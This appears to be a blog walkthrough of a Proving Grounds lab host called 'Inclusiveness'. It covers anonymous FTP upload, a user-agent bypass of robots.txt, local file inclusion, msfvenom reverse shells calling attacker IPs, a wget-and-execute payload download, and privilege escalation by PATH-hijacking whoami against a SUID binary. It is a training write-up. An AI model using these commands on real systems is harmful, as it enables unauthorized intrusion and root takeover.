Proving Ground Play — Inclusiveneness
Some of my favourite vulnerabilities include Local File Inclusions (LFI) and Remote File Inclusions (RFI), now granted I didn’t exploit any RFI’s during the exploitation of this host, it is however a great box to practice some LFI’s with.
Not a difficult host at all, took maybe an hour or two, but that’s not the point, taking tour time, learning and understanding the vulnerabilities… That’s the point.
We can start our enumeration using normal Port scans with Nmap, as always we nee to get a complete picture so start by scanning ALL ports, yes ALL 65,535 of em. the — open and -vv flags will ensure you get timely updates of discovered ports, allowing you to manually start enumerating them further.
sudo nmap -p- <IP ADDRESS> — open -vv
Now that we know which TCP ports the host is listening on, lets use some default scripts to enumerate additional service information from the open ports using Nmap.
sudo nmap -p21,22,80 -sC -sV <IP ADDRESS>
The most interesting finding from the above scan… ANONYMOUS ACCESS + WRITABLE PERMISSION == GOOD TIMES… yes we can access the ftp service using the anonymous account with writable permissions to the “pub” directory.
Now that we have a better understanding of the host, we can start the process of manually investigating the services, and what potential they have for exploitation.
PORT 21 — FTP
Nmap revealed that “anonymous” access is enabled on the FTP server and even better we have writable access too the “pub” folder.
In preparation lets create a test file to upload to the ftp server as a test,
echo ‘This is my evil test file ;-)’ > test.txt
Next we can access the FTP service using “anonymous” as the Username and anything as the password … No seriously anything, as in “123”, “AA”, or “whatTheF$%kEver”… get it.
ftp <IP ADDRESS>
Now that we have access change to the pub directory “cd pub” and upload our test file.
PORT 80 — HTTP
Next up we can take a look at the page or application running on Port 80 (HTTP).
Before I start browsing the page I’ll kick off a nikto process to scan the page host for any low hanging fruits to exploit. Pentesting is all about parallel tasking in order to expedite the entire process.
nikto -h http://<IP ADDRESS>
One of my first checks when visiting a page includes checking if theres a “Robots.txt” present as this often serves as a great enumeration gateway to find pages and information.
Low and behold, there’s a “robots.txt” present but we can see the contents as it appears to be exposed only to search engines… easily bypassed! Those clever devs…
By browsing go to http://<IP ADDRESS>/robots.txt
reveals “You are not a search engine! You can’t read my robots.txt!”
So the clever Dev guys / gals decided to hide the robots.txt file from browsers and other tools NOT using a search engine User-Agent to access robots.txt.
We can grab Robots.txt using curl and pretending to be a GoogleBot as per below command
NOTE: The — user-agent flag where we specify the “user-agent” to specify for the GET request.
Our curl GET request reveals a directory called “/secret_information”. Thanks GoogleBot, lets go visit the page to see what it reveals
LOCAL FILE INCLUSION — LFI
Now were getting somewhere. See that little “/?lang=en.php” that looks perfect for our Local File Inclusion exploit. Lets test to see what happens when we append the parameter with “../../../../../etc/passwd”
Excellent, we can read the hosts password file “/etc/passwd”. Now other than enumerating additional information about the host what can we do with a LFI vulnerability? Log poisoning… yes, maybe. But there may be a far easier way, remember we can upload files using the FTP service.
Lets start by enumerating the FTP Service’s config file as that will tell us exactly where the FTP server’s “pub” directory is located.
The fastest way to find the config file is by means clever Fuzzing in this case make sure you grab Daniel Meissler’s compilation of wordlists (SecLists) from https://github.com/danielmiessler/SecLists. This will greatly assist in any future FUZZING endeavor.
LFI DIRECTORY AND FILE ENUMERATION
ffuf -c -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://192.168.63.14/secret_information/?lang=../../../../../FUZZ -e .html,.php,.txt,.cfg -mc all -fc 404 -fw 8
My “Lekker” (Thats Afrikaans for good) Command breakdown below:
- c == Colour output
- ic == Ignore wordlist comments
- w == Wordlist to use
- u == URL to enumerate
- FUZZ == Wordlist Insertion Point
- mc == Which HTTP Codes to Report
- fc == Which HTTP Codes to Filter i.e. 404
- e == File extensions to enumerate
- fw == Filter specific word counts
Excellent, our clever Fuzzing revealed a file called “/etc/vsftp.conf” we can read that file using our LFI vulnerability, exposing where our test file is located.
FTP CONFIG ENUMERATION
Grab the file using the following command.
Excellent that means the path to our test.txt file is “/var/ftp/pub/test.txt”.
Next we can validate this by grabbing the file using the below curl command
TEST FILE ACCESS
Now we have all the pieces in place to get a reverse shell, we have upload location, a path to whatever we upload and a way to process whatever we upload by means of exploiting the LFI vulnerability.
The next steps include creating a PHP Reverse Shell, uploading it using FTP and processing it with the LFI Vulnerability.
Now usually you will be referred to some existing PHP Reverse shell, thats awesome, but lets generate our own, using msfvenom.
msfvenom -p php/reverse_php lhost=192.168.49.63 lport=53 -f raw -o rev.php
Put the Reverse Shell
sudo nc -nlvp 80
Access the reverse shell using curl
Next, lets upgrade our shell. For this exercise we’ll first generate an ELF based reverse shell, download it to the target, execute it then ultimitaly upgrade to full TTY shell using python.
generate reverse shell with msfvenom
msfvenom -p linux/x64/shell_reverse_tcp lhost=192.168.49.169 lport=443 -f elf -o shell
Next we’ll host the reverse shell on our attack machine using a python based HTTP Server and download the file to the target using good ole “wget”.
On Attack Machine — Start listener and HTTP Server
sudo nc -nlvp 443
sudo python3 -m http.server 80
On Target — Download Shell, change privs and execute
wget http://<Attack IP>/shell -O /tmp/shell
chmod + x /tmp/shell && /tmp/shell
In the new reverse shell upgrade to TTY using:
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
In our new upgraded spiffy new shell , lets start by enumerating file and directories with the intent of escalating privileges.
A good starting point is to proceed to “/home” to see what user “home” directories exist and what secrets they may hold.
During this enumeration we find “/home/tom” which also contains a SUID Binary called rootshell… Now that looks like our ticket outa here.
The friendly folk who left us rootshell (one can only assume Tom loves best practices) also left us the the sourcecode in the form of rootshell.c
So all rootshell does is to launch “whoami”, read the output to see if it contains “tom”, if yes == Access If “NO” then NO ACCESS”
We can test this by reviewing the output of “rootshell” and whoami
This should be easy to cheat by creating an “alternative” whoami that will produce “tom” as the output.
echo ‘#!/bin/bash’ > /tmp/pe/whoami
echo “echo ‘tom’” >> /tmp/pe/whoami
make the file executable and test
chmod +x /tmp/pe/whoami
Add new path
executing whoami now should produce tom as the output
Now you can get rootshell by running the SUID Binary in /home/tom to get well root shell
Et voila — Thats the correct spelling… right??? Anywhooos… Nice having you folk, see you next time.